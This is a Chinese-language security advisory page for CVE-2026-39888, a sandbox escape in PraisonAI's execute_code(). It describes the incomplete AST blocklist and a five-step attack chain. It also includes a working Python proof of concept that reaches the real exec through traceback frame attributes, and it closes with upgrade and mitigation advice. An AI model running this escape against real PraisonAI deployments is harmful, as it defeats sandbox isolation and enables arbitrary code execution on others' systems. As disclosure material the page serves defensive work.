IPBUF安全漏洞报告
English
CVE-2026-39888 CVSS 9.9 严重

CVE-2026-39888 PraisonAI 沙箱逃逸漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39888
漏洞类型
沙箱逃逸
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

沙箱逃逸远程代码执行PraisonAIPythonCVE-2026-39888

漏洞概述

PraisonAI在1.5.115之前的版本中存在严重的沙箱逃逸漏洞。该漏洞源于`execute_code()`函数在沙箱模式下使用的AST属性黑名单机制不完整。攻击者可以利用缺失的帧遍历属性(如`__traceback__`等)绕过沙箱限制,获取真正的Python内置对象,进而调用`exec`函数执行任意代码,导致系统面临完全被控的风险。

技术细节

漏洞位于PraisonAI的`praisonaiagents.tools.python_tools`模块中。当`execute_code()`以默认的`sandbox_mode="sandbox"`运行时,系统试图通过限制`__builtins__`和AST黑名单来隔离用户代码。然而,子进程包装器内的AST黑名单仅包含11个属性,明显少于直接执行路径中的30+个。关键在于,它遗漏了用于帧遍历的四个属性:`__traceback__`、`tb_frame`、`f_back`和`f_builtins`。攻击者可以捕获一个异常,并通过这些属性链(例如`exc_info.__traceback__.tb_frame.f_back.f_builtins`)访问到包装器帧的真实Python内置字典。由于`exec`函数并未被完全屏蔽,攻击者可以将其提取出来并在非受限变量名下调用,从而彻底绕过所有安全层,实现沙箱逃逸和任意代码执行。

攻击链分析

STEP 1
步骤1
攻击者向PraisonAI的`execute_code()`接口提交包含恶意构造的Python代码。
STEP 2
步骤2
代码在沙箱子进程中运行,系统应用了不完整的AST黑名单进行过滤。
STEP 3
步骤3
攻击者代码中故意触发异常,捕获`Exception`对象,从而获取`__traceback__`属性。
STEP 4
步骤4
利用`tb_frame.f_back.f_builtins`链条,从异常对象回溯访问到外部包装器帧的真实`__builtins__`字典。
STEP 5
步骤5
从真实`__builtins__`中提取`exec`函数,并利用其执行任意系统命令或代码,实现沙箱逃逸。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-39888: PraisonAI Sandbox Escape # This code demonstrates how to bypass the incomplete AST blocklist # to retrieve the real builtins and execute arbitrary code. malicious_payload = """ try: # Trigger an exception to access traceback object raise Exception("trigger"); except Exception as e: # Traverse the frame chain to escape the sandbox # Access the traceback, then the frame, then the caller's frame tb = e.__traceback__ frame = tb.tb_frame caller_frame = frame.f_back # Access the real __builtins__ dictionary of the wrapper real_builtins = caller_frame.f_builtins # Retrieve the 'exec' function from the real builtins exec_func = real_builtins['exec'] # Execute arbitrary Python code (e.g., importing os module) exploit_code = "import os; print('Sandbox Bypassed! PWD: ' + os.getcwd())" exec_func(exploit_code) """ # In a real scenario, this string would be sent to the vulnerable execute_code() function print(f"Payload to inject: {malicious_payload}")

影响范围

PraisonAI < 1.5.115

防御指南

临时缓解措施
建议立即升级到修复后的版本(1.5.115+)。如果无法立即升级,应严格限制对受影响系统的网络访问,并审查沙箱内运行的代码逻辑,确保不包含异常处理和帧遍历操作,或暂时禁用受影响的代码执行功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表